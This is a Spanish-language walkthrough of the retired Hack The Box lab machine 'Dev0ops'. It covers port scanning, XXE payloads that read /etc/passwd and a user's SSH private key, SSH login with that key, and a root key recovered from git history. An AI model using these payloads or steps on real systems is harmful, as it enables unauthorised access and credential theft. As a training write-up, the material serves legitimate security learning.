Dev0ops Write-Up

Fecha de lanzamiento02 Jun 2018
EstadoRetirada
DificultadMedium
PlataformaLinux
IP10.10.10.91

RECONOCIMIENTO

Para la realización de la fase de reconocimiento, como herramienta principal usaremos nmap.

Vamos a escanear todo el rango de puertos de la máquina Active por el protocolo TCP filtrando por aquellos que estén abiertos, aplicando una plantilla de temporizado agresiva e indicando que no queremos que nos aplique resolución DNS para evitar demoras en el escaneo.

nmap -p- --open -T5 -n -v 10.10.10.91

A continuación, vamos a lanzar una serie de scripts básicos de enumeración propios de la herramienta y vamos a tratar de detectar las versiones y los servicios de los puertos que el comando anterior nos ha detectado como abiertos. Lo guardaremos en un fichero llamado targeted para poder volver a consultarlo durante el resto de fases de la intrusión.

nmap -sCV -p22,5000 -oN targeted 10.10.10.91

EXPLOTACIÓN

Puerto 5000 – HTTP

Observamos que en el puerto 5000 esta alojado un servidor web. Parece que es una página en construcción ya que solo vemos una imagen así que vamos a usar la herramienta wfuzz para realizar fuzzing de directorios existentes a nivel web y descubrir vías potenciales de explotación.

wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/directory-list-2.3-medium.txt http://10.10.10.91:5000/FUZZ

Descubrimos un directorio upload y si realizamos una petición vemos que se trata de una API en pruebas donde podemos subir un archivo XML.

Vamos a probar a crear un archivo XML y veremos si se nos muestra algún output por pantalla cuando lo subamos.

<elements>
  <Author>SrMeirins</Author>
  <Subject>Hola</Subject>
  <Content>Quetal</Content>
</elements>

Perfecto, parece que vemos por pantalla el output del archivo que hemos subido.

Existe un tipo de ataque XML basado en la declaracion de entidades que apunten a archivos locales del sistema. Si el parseo del archivo XML no está bien sanitizado por parte del programador, vamos a poder declarar una entidad (variable) que sea un archivo local del sistema y poder ver su output a nivel de la web en la respuesta del servidor. Este ataque es llamado XML External Entity attack

Para ello crearemos un archivo XML donde declararemos una entidad que apunte al archivo /etc/passwd para ver si existe esta vulnerabilidad y, en el caso de que exista, poder ver los usuarios del sistema.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<elements>
  <Author>&xxe;</Author>
  <Subject>Hola</Subject>
  <Content>Hola</Content>
</elements>

Gracias al archivo XML creado podemos ver archivos del sistema local a vulnerar por pantalla.

Si nos fijamos en los usuarios, vemos que hay uno llamado Roosa. Ya que tenemos el puerto 22 abierto en la máquina vamos a probar a mostrar por pantalla si existiese su archivo id_rsa para intentar conectarnos de forma remota como el usuario sin proporcionar contraseña.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/roosa/.ssh/id_rsa" >]>
<elements>
  <Author>&xxe;</Author>
  <Subject>Hola</Subject>
  <Content>Hola</Content>
</elements>

Perfecto, tenemos una clave privada del usuario Roosa. Vamos a crear un archivo en nuestra máquina con esta clave y accederemos por ssh a la máquina víctima como el usuario Roosa.

Es importante recordar que hay que dar los permisos 600 a la id_rsa para poder usarla correctamente.

vi id_rsa
chmod 600 id_rsa
ssh -i id_rsa roosa@10.10.10.91

Ya tenemos una shell como el usuario Roosa.


ESCALADA DE PRIVILEGIOS

En el directorio Home del usuario, analizando los ficheros vemos un repositorio en la ruta /work/blogfeed/ con un directorio .git. Vamos a tratar de mirar los logs de los diferentes cambios que han habido en el proyecto porque en ocasiones se pueden ver fallos cometidos por el programador en forma de información sensible y estos quedan reflejados en los logs.

git log

Observamos un Commit de un cambio de una clave que había sido subida por error. Vamos a inspeccionar cual era esa clave y vamos a probar usarla para ver si por algún casual fuese la del usuario ROOT y así ya tendríamos control sobre todo el sistema.

git log -p 33e87c312c08735a02fa9c796021a4a3023129ad

Vamos a probar copiarnos esa clave filtrada por error, guardarla en un archivo como id_rsa, darle los permisos adecuados y conectarnos como ROOT al sistema mediante el protocolo SSH.

vi id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@10.10.10.91

Tenemos una shell como ROOT y ya podemos ver las dos flags necesarias y subirlas a la paǵina de HTB para finalizar la intrusión.

Jorge Escrito por:

Sé el primero en comentar

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *